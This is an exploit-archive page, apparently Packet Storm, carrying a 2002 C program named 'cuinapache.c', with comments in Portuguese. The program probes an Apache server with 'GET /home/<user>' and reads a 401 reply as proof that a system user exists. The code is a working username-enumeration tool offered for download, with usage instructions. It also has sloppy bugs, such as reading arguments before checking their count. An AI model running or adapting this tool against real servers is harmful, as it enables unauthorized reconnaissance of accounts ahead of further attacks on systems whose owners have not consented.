evolve or die

cuinapache.c

cuinapache.c
Posted Sep 10, 2002
Authored by m4rc3l0

ChecaUserinApache - A utility that makes use of the 401 error page in Apache to verify whether or not a user exists on that system.

tags | cgi
systems | unix
MD5 | 241c60d5e695ce71f4548828fc12ccdd

cuinapache.c

Change Mirror Download
/* ChecaUserinApache (c)oded by m4rc3l0 in 09/2001 *
* *
* Compile com: gcc -o cuinapache cuinapache.c *
* Uso: ./cuinapache <host> <porta> <usuario> *
* Exe: ./cuinapache localhost 80 m4rc3l0 *
* *
* Agrdz: BashX, sinner, seed, decodi, roadhouse, *
* eSc2, m4st, hts, damita, mor_PH_eus, r0ot(brw), *
* #dnh #esfinge #feanor @ BRASNET */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define MAX 1024
#define ERRO -1
#define VERDE
"\033[32m\033[01m"
#define VERME "\033[0m\033[33m"
#define AZUL "\033[34m\033[01m"
#define NORMAL "\033[0m"

void logo ()
{
printf ("%s:: %sChecaUserinApache (c)oded by m4rc3l0%s\n", VERDE, AZUL, NORMAL);
}


int main (int argc, char *argv[])
{
int MySock, porta, nb;
char enviar[MAX], receber[MAX], *host, *user;
struct in_addr addr;

struct sockaddr_in virtima;

struct hostent *he;


host = argv[1];
porta = atoi (argv[2]);
user = argv[3];

logo ();

if (argc != 4)
{

printf ("%s:: %sUse: %s <host> <porta> <user>%s\n", VERDE, AZUL, argv[0], NORMAL);

printf ("%s:: %sExe: %s localhost 80 m4rc3l0%s\n", VERDE, AZUL, argv[0], NORMAL);
exit (ERRO);

}




if ((he = gethostbyname (argv[1])) == NULL)
{
printf("%s:: %shost error%s\n", VERME, AZUL, NORMAL);

exit(ERRO);

}

MySock = socket (AF_INET, SOCK_STREAM, 0);

bcopy (he->h_addr, (char *)&virtima.sin_addr, he->h_length);

virtima.sin_family = AF_INET;
virtima.sin_port = htons (porta);

printf("%s:: %sTentando conectar em: %s:%d%s\n", VERDE, AZUL, host, porta, NORMAL);


if (connect (MySock, (struct sockaddr *) &virtima, sizeof (virtima)) != 0)
{
printf("%s:: %sconnect error%s\n", VERME, AZUL, NORMAL);

exit (ERRO);

}


else
{

sleep (2);
printf("%s:: %sEnviando requisicao de: %s%s\n", VERDE, AZUL, user, NORMAL);

sprintf (enviar, "GET /home/%s", user);
if(send (MySock, enviar, sizeof(enviar), 0) < 0) {
printf("%s:: %swrite error%s\n", VERME, AZUL, NORMAL);
exit(ERRO);
}

else {
recv(MySock, receber, sizeof(receber), 0);
if(strstr(receber, "401")) {
printf("%s:: %sUsuario: %s achado%s\n", VERDE, AZUL, user, NORMAL);
}
else {
printf("%s:: %sUsuario: %s %sNAO %sachado%s\n", VERDE, AZUL, user, VERME, AZUL, NORMAL);
printf("%s:: %sou este apache nao e vulneravel%s\n", VERDE, AZUL, NORMAL);
}
}
close (MySock);


}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close